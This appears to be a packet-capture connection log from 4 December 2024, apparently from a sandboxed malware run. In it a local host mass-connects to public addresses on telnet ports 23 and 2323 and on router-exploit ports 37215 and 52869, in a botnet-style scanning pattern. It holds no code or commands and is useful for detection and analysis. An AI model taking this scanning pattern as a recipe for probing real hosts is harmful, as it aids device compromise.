Dec 4, 2024 20:34:29.192418098 CET	60019	52869	192.168.2.14	197.245.120.181
Dec 4, 2024 20:34:29.192430973 CET	34948	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:29.192507982 CET	52869	39058	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:29.192555904 CET	39058	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:29.233328104 CET	23	55432	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.233438969 CET	55432	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.233839035 CET	55458	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.233999968 CET	2323	43968	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.234251976 CET	43968	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.234525919 CET	43994	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.234536886 CET	23	33588	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.234606981 CET	33588	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.234925985 CET	33588	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.235213041 CET	33614	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.235301018 CET	23	49458	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.235630035 CET	49458	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.235924006 CET	49484	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.236602068 CET	23	59838	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.236654997 CET	59838	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.236964941 CET	59864	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.251703978 CET	23	39272	158.212.231.85	192.168.2.14
Dec 4, 2024 20:34:29.252168894 CET	23	39356	158.212.231.85	192.168.2.14
Dec 4, 2024 20:34:29.252213955 CET	39356	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:29.263755083 CET	23	60948	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.264133930 CET	23	60992	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.264180899 CET	60992	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.286916971 CET	37215	47384	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:29.286988974 CET	47384	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:29.287023067 CET	37215	37004	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.287067890 CET	37004	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.287170887 CET	37004	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.287184954 CET	37004	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.287548065 CET	37020	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.287625074 CET	37215	44464	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.287671089 CET	44464	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.287906885 CET	44464	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.287906885 CET	44464	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.288171053 CET	44480	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.288338900 CET	37215	59482	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.288383007 CET	59482	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.288511992 CET	59482	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.288523912 CET	59482	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.288783073 CET	59498	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.353529930 CET	23	55432	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.353956938 CET	23	55458	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.354142904 CET	55458	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.354353905 CET	2323	43968	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.354581118 CET	2323	43994	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.354626894 CET	43994	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.355180979 CET	23	33588	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.355330944 CET	23	33614	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.355379105 CET	33614	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.355814934 CET	23	49458	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.355973005 CET	23	49484	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.356020927 CET	49484	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.356592894 CET	23	59838	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.356878042 CET	23	59864	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.356924057 CET	59864	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.384803057 CET	23	60992	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.384892941 CET	60992	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.385355949 CET	32784	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.407350063 CET	37215	37004	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.407620907 CET	37215	37020	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.407670021 CET	37020	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.407727003 CET	37020	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.408073902 CET	37215	44464	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.408114910 CET	44464	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.408139944 CET	37215	44464	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.408150911 CET	37215	44464	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.408397913 CET	37215	44480	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.408438921 CET	44480	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.408451080 CET	44480	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.409125090 CET	37215	59482	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.409162045 CET	59482	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.409168005 CET	37215	59482	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.409178019 CET	37215	59482	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.409209967 CET	37215	59498	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.409250021 CET	59498	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.409269094 CET	59498	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.454809904 CET	37215	37004	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.476687908 CET	23	55458	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.476697922 CET	2323	43994	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.476785898 CET	55458	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.477133989 CET	55476	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.477338076 CET	23	33614	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.477499008 CET	43994	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.477780104 CET	44012	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.477947950 CET	23	49484	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.478178024 CET	33614	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.478431940 CET	33632	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.478595972 CET	49484	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.478779078 CET	23	59864	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.478791952 CET	49484	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.479105949 CET	49502	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.479521990 CET	59864	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.479796886 CET	59882	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.505563021 CET	23	60992	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.506118059 CET	23	32784	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.506170034 CET	32784	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.527667046 CET	37215	37020	197.89.67.25	192.168.2.14
Dec 4, 2024 20:34:29.527813911 CET	37020	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.528289080 CET	37215	44464	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.528481960 CET	37215	44480	156.139.144.163	192.168.2.14
Dec 4, 2024 20:34:29.528518915 CET	44480	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.528928995 CET	37215	59482	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.529129028 CET	37215	59498	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.529138088 CET	37215	59498	41.192.219.57	192.168.2.14
Dec 4, 2024 20:34:29.529171944 CET	59498	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.596894979 CET	23	55458	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.597338915 CET	23	55476	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.597393990 CET	55476	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.597629070 CET	2323	43994	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.598027945 CET	2323	44012	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.598064899 CET	44012	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.598613024 CET	23	33614	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.598654032 CET	23	33632	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.598700047 CET	33632	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.598993063 CET	23	49484	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.599287987 CET	23	49502	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:29.599323988 CET	49502	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:29.599642992 CET	23	59864	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.599967957 CET	23	59882	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.600006104 CET	59882	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.627259970 CET	23	32784	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.627345085 CET	32784	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.627814054 CET	32796	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.718653917 CET	23	55476	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.718872070 CET	55476	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.719405890 CET	55488	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.723300934 CET	2323	44012	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.723316908 CET	23	33632	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.723366022 CET	44012	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.723706961 CET	23	59882	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.723742008 CET	44024	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.724148035 CET	33632	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.724433899 CET	33644	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.724826097 CET	59882	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.725120068 CET	59892	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.748447895 CET	23	32784	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.748831034 CET	23	32796	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.748888016 CET	32796	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.750598907 CET	57274	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:29.750598907 CET	39186	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:29.750610113 CET	55608	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:29.782602072 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:29.782608032 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:29.782609940 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:29.782612085 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:29.782629013 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:29.782629013 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:29.782630920 CET	52922	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:29.782632113 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:29.782634020 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:29.782636881 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:29.782641888 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:29.782640934 CET	37264	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:29.782640934 CET	60244	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:29.782640934 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:29.782644033 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:29.782644033 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:29.782644033 CET	35158	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:29.782654047 CET	50412	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:29.782654047 CET	55252	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:29.782663107 CET	60306	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:29.782663107 CET	57392	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:29.782663107 CET	38900	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:29.782668114 CET	34556	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:29.782670021 CET	48736	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:29.782670021 CET	58364	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:29.782670021 CET	41868	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:29.782670021 CET	33344	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:29.782670021 CET	59694	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:29.782670021 CET	55888	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:29.782670021 CET	34274	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:29.782674074 CET	58338	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:29.782674074 CET	37646	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:29.782674074 CET	44246	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:29.782675982 CET	37804	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:29.782682896 CET	39192	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:29.782682896 CET	38644	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:29.782682896 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:29.782682896 CET	48090	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:29.782682896 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:29.782682896 CET	49538	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:29.782682896 CET	34110	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:29.782687902 CET	44412	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:29.782694101 CET	35384	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:29.782696962 CET	41486	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:29.782696962 CET	37874	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:29.782716036 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:29.782720089 CET	58442	52869	192.168.2.14	41.103.209.188
Dec 4, 2024 20:34:29.782720089 CET	55288	52869	192.168.2.14	156.149.147.139
Dec 4, 2024 20:34:29.782722950 CET	35360	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:29.782722950 CET	44294	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:29.782725096 CET	42308	52869	192.168.2.14	197.207.12.12
Dec 4, 2024 20:34:29.782727957 CET	33924	52869	192.168.2.14	156.88.209.208
Dec 4, 2024 20:34:29.782728910 CET	51966	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:29.782728910 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:29.782728910 CET	59714	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:29.782737017 CET	56854	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:29.782737017 CET	46786	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:29.782737017 CET	49098	52869	192.168.2.14	41.174.40.11
Dec 4, 2024 20:34:29.782737017 CET	50378	52869	192.168.2.14	41.129.42.30
Dec 4, 2024 20:34:29.782737017 CET	52618	52869	192.168.2.14	156.235.201.159
Dec 4, 2024 20:34:29.782737970 CET	52442	52869	192.168.2.14	197.61.232.166
Dec 4, 2024 20:34:29.782743931 CET	44664	52869	192.168.2.14	41.135.93.166
Dec 4, 2024 20:34:29.782752037 CET	59698	52869	192.168.2.14	156.57.109.37
Dec 4, 2024 20:34:29.782754898 CET	52208	52869	192.168.2.14	41.222.211.104
Dec 4, 2024 20:34:29.782757998 CET	45682	52869	192.168.2.14	41.191.54.80
Dec 4, 2024 20:34:29.782757998 CET	44424	52869	192.168.2.14	156.95.214.212
Dec 4, 2024 20:34:29.782758951 CET	42978	52869	192.168.2.14	197.82.65.161
Dec 4, 2024 20:34:29.782761097 CET	37750	52869	192.168.2.14	156.125.46.219
Dec 4, 2024 20:34:29.782761097 CET	58808	52869	192.168.2.14	156.229.181.62
Dec 4, 2024 20:34:29.814624071 CET	56600	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:29.814627886 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:29.814627886 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:29.814627886 CET	47454	37215	192.168.2.14	41.148.173.245
Dec 4, 2024 20:34:29.814630032 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:29.814630985 CET	34092	37215	192.168.2.14	156.185.206.40
Dec 4, 2024 20:34:29.814646006 CET	48522	37215	192.168.2.14	156.118.150.76
Dec 4, 2024 20:34:29.814646006 CET	55980	37215	192.168.2.14	41.132.5.179
Dec 4, 2024 20:34:29.814649105 CET	39918	37215	192.168.2.14	197.83.168.206
Dec 4, 2024 20:34:29.814652920 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:29.814652920 CET	45064	37215	192.168.2.14	156.141.27.234
Dec 4, 2024 20:34:29.814655066 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:29.814654112 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:29.814666033 CET	43718	37215	192.168.2.14	197.97.83.227
Dec 4, 2024 20:34:29.814667940 CET	47886	37215	192.168.2.14	197.121.233.57
Dec 4, 2024 20:34:29.814667940 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:29.814666986 CET	41632	37215	192.168.2.14	197.234.28.90
Dec 4, 2024 20:34:29.814666986 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:29.814670086 CET	52394	37215	192.168.2.14	156.36.98.78
Dec 4, 2024 20:34:29.814677000 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:29.814677000 CET	57124	37215	192.168.2.14	197.137.12.25
Dec 4, 2024 20:34:29.814678907 CET	41532	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:29.814678907 CET	57490	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:29.814678907 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:29.814678907 CET	56182	37215	192.168.2.14	156.18.94.51
Dec 4, 2024 20:34:29.814680099 CET	49660	37215	192.168.2.14	41.218.25.18
Dec 4, 2024 20:34:29.814680099 CET	45548	37215	192.168.2.14	41.199.58.224
Dec 4, 2024 20:34:29.814680099 CET	35180	37215	192.168.2.14	156.207.141.171
Dec 4, 2024 20:34:29.814685106 CET	48482	52869	192.168.2.14	156.30.92.86
Dec 4, 2024 20:34:29.814690113 CET	43684	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:29.814691067 CET	46272	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:29.814691067 CET	46178	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:29.814691067 CET	43000	52869	192.168.2.14	197.100.107.0
Dec 4, 2024 20:34:29.814694881 CET	39574	52869	192.168.2.14	156.34.193.1
Dec 4, 2024 20:34:29.814694881 CET	54060	52869	192.168.2.14	41.107.6.252
Dec 4, 2024 20:34:29.814699888 CET	40992	52869	192.168.2.14	197.1.190.197
Dec 4, 2024 20:34:29.814699888 CET	55382	52869	192.168.2.14	197.89.179.31
Dec 4, 2024 20:34:29.814702988 CET	57384	52869	192.168.2.14	156.48.140.101
Dec 4, 2024 20:34:29.814704895 CET	56560	52869	192.168.2.14	156.187.20.109
Dec 4, 2024 20:34:29.814706087 CET	38090	52869	192.168.2.14	156.249.137.110
Dec 4, 2024 20:34:29.814713955 CET	49050	52869	192.168.2.14	156.43.129.143
Dec 4, 2024 20:34:29.814713955 CET	33994	52869	192.168.2.14	41.205.219.35
Dec 4, 2024 20:34:29.814714909 CET	43274	52869	192.168.2.14	197.142.129.29
Dec 4, 2024 20:34:29.814716101 CET	50460	52869	192.168.2.14	41.27.123.27
Dec 4, 2024 20:34:29.814716101 CET	56468	52869	192.168.2.14	41.187.20.236
Dec 4, 2024 20:34:29.814727068 CET	40694	52869	192.168.2.14	156.44.220.216
Dec 4, 2024 20:34:29.814728022 CET	57280	52869	192.168.2.14	197.162.199.101
Dec 4, 2024 20:34:29.814729929 CET	39008	52869	192.168.2.14	197.100.102.194
Dec 4, 2024 20:34:29.814729929 CET	42896	52869	192.168.2.14	197.218.147.117
Dec 4, 2024 20:34:29.838773012 CET	23	55476	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.839446068 CET	23	55488	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:29.839528084 CET	55488	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:29.843291998 CET	2323	44012	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.843640089 CET	2323	44024	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:29.843717098 CET	44024	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:29.843772888 CET	23	33632	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.844260931 CET	23	33644	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:29.844307899 CET	33644	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:29.844599009 CET	23	59882	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.844980955 CET	23	59892	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:29.845031977 CET	59892	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:29.846599102 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:29.846605062 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:29.846606016 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:29.846606970 CET	35820	52869	192.168.2.14	156.41.217.253
Dec 4, 2024 20:34:29.846606970 CET	60254	37215	192.168.2.14	156.243.30.234
Dec 4, 2024 20:34:29.846606970 CET	36100	52869	192.168.2.14	156.99.178.7
Dec 4, 2024 20:34:29.846606970 CET	56770	52869	192.168.2.14	197.70.132.232
Dec 4, 2024 20:34:29.846606970 CET	42654	52869	192.168.2.14	197.46.172.83
Dec 4, 2024 20:34:29.846613884 CET	51694	52869	192.168.2.14	156.162.89.139
Dec 4, 2024 20:34:29.846616030 CET	40024	52869	192.168.2.14	41.103.215.205
Dec 4, 2024 20:34:29.846616030 CET	38930	52869	192.168.2.14	197.135.59.96
Dec 4, 2024 20:34:29.846616030 CET	57116	37215	192.168.2.14	197.73.36.58
Dec 4, 2024 20:34:29.846626997 CET	56826	37215	192.168.2.14	197.172.250.156
Dec 4, 2024 20:34:29.846626997 CET	53884	52869	192.168.2.14	197.218.155.181
Dec 4, 2024 20:34:29.846632004 CET	38742	37215	192.168.2.14	156.188.155.149
Dec 4, 2024 20:34:29.846632004 CET	50922	52869	192.168.2.14	41.191.147.247
Dec 4, 2024 20:34:29.846632004 CET	38684	52869	192.168.2.14	197.218.195.246
Dec 4, 2024 20:34:29.846632004 CET	58882	37215	192.168.2.14	41.38.128.112
Dec 4, 2024 20:34:29.846633911 CET	37216	52869	192.168.2.14	197.132.171.98
Dec 4, 2024 20:34:29.846633911 CET	43604	37215	192.168.2.14	197.170.86.190
Dec 4, 2024 20:34:29.846632004 CET	39806	52869	192.168.2.14	41.133.228.190
Dec 4, 2024 20:34:29.846633911 CET	38462	52869	192.168.2.14	41.151.25.158
Dec 4, 2024 20:34:29.846632004 CET	53460	37215	192.168.2.14	41.234.244.9
Dec 4, 2024 20:34:29.846633911 CET	42732	37215	192.168.2.14	197.118.189.73
Dec 4, 2024 20:34:29.846633911 CET	38444	52869	192.168.2.14	41.141.127.36
Dec 4, 2024 20:34:29.846638918 CET	43774	52869	192.168.2.14	197.16.184.131
Dec 4, 2024 20:34:29.846632004 CET	46286	37215	192.168.2.14	197.39.33.249
Dec 4, 2024 20:34:29.846640110 CET	41388	37215	192.168.2.14	156.54.44.90
Dec 4, 2024 20:34:29.846638918 CET	40010	37215	192.168.2.14	197.70.221.90
Dec 4, 2024 20:34:29.846632004 CET	59790	37215	192.168.2.14	156.169.221.213
Dec 4, 2024 20:34:29.846638918 CET	48508	37215	192.168.2.14	197.93.150.183
Dec 4, 2024 20:34:29.846640110 CET	51424	37215	192.168.2.14	41.133.130.130
Dec 4, 2024 20:34:29.846638918 CET	48738	37215	192.168.2.14	197.166.65.21
Dec 4, 2024 20:34:29.846646070 CET	38390	37215	192.168.2.14	156.76.127.73
Dec 4, 2024 20:34:29.846640110 CET	48394	37215	192.168.2.14	156.1.142.180
Dec 4, 2024 20:34:29.846640110 CET	54272	37215	192.168.2.14	41.97.190.30
Dec 4, 2024 20:34:29.846653938 CET	57150	37215	192.168.2.14	197.131.55.234
Dec 4, 2024 20:34:29.870502949 CET	23	32796	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.870786905 CET	32796	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.871320963 CET	32806	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.871689081 CET	60787	2323	192.168.2.14	88.132.49.7
Dec 4, 2024 20:34:29.871691942 CET	60787	23	192.168.2.14	136.36.88.181
Dec 4, 2024 20:34:29.871695042 CET	60787	23	192.168.2.14	111.114.37.153
Dec 4, 2024 20:34:29.871706009 CET	60787	23	192.168.2.14	78.42.219.193
Dec 4, 2024 20:34:29.871706009 CET	60787	23	192.168.2.14	103.10.160.136
Dec 4, 2024 20:34:29.871711016 CET	60787	23	192.168.2.14	20.203.238.188
Dec 4, 2024 20:34:29.871716976 CET	60787	23	192.168.2.14	146.202.130.225
Dec 4, 2024 20:34:29.871718884 CET	60787	23	192.168.2.14	92.202.246.134
Dec 4, 2024 20:34:29.871718884 CET	60787	23	192.168.2.14	114.21.41.207
Dec 4, 2024 20:34:29.871727943 CET	60787	23	192.168.2.14	154.16.198.4
Dec 4, 2024 20:34:29.871728897 CET	60787	2323	192.168.2.14	179.98.24.51
Dec 4, 2024 20:34:29.871740103 CET	60787	23	192.168.2.14	12.21.83.182
Dec 4, 2024 20:34:29.871740103 CET	60787	23	192.168.2.14	61.199.65.199
Dec 4, 2024 20:34:29.871743917 CET	60787	23	192.168.2.14	156.115.93.160
Dec 4, 2024 20:34:29.871746063 CET	60787	23	192.168.2.14	179.234.126.81
Dec 4, 2024 20:34:29.871747017 CET	60787	23	192.168.2.14	102.170.18.118
Dec 4, 2024 20:34:29.871751070 CET	60787	23	192.168.2.14	148.25.6.157
Dec 4, 2024 20:34:29.871757030 CET	60787	23	192.168.2.14	100.131.122.8
Dec 4, 2024 20:34:29.871762037 CET	60787	23	192.168.2.14	159.145.78.218
Dec 4, 2024 20:34:29.871763945 CET	60787	23	192.168.2.14	176.32.205.153
Dec 4, 2024 20:34:29.871763945 CET	60787	2323	192.168.2.14	175.182.131.127
Dec 4, 2024 20:34:29.871763945 CET	60787	23	192.168.2.14	107.213.71.232
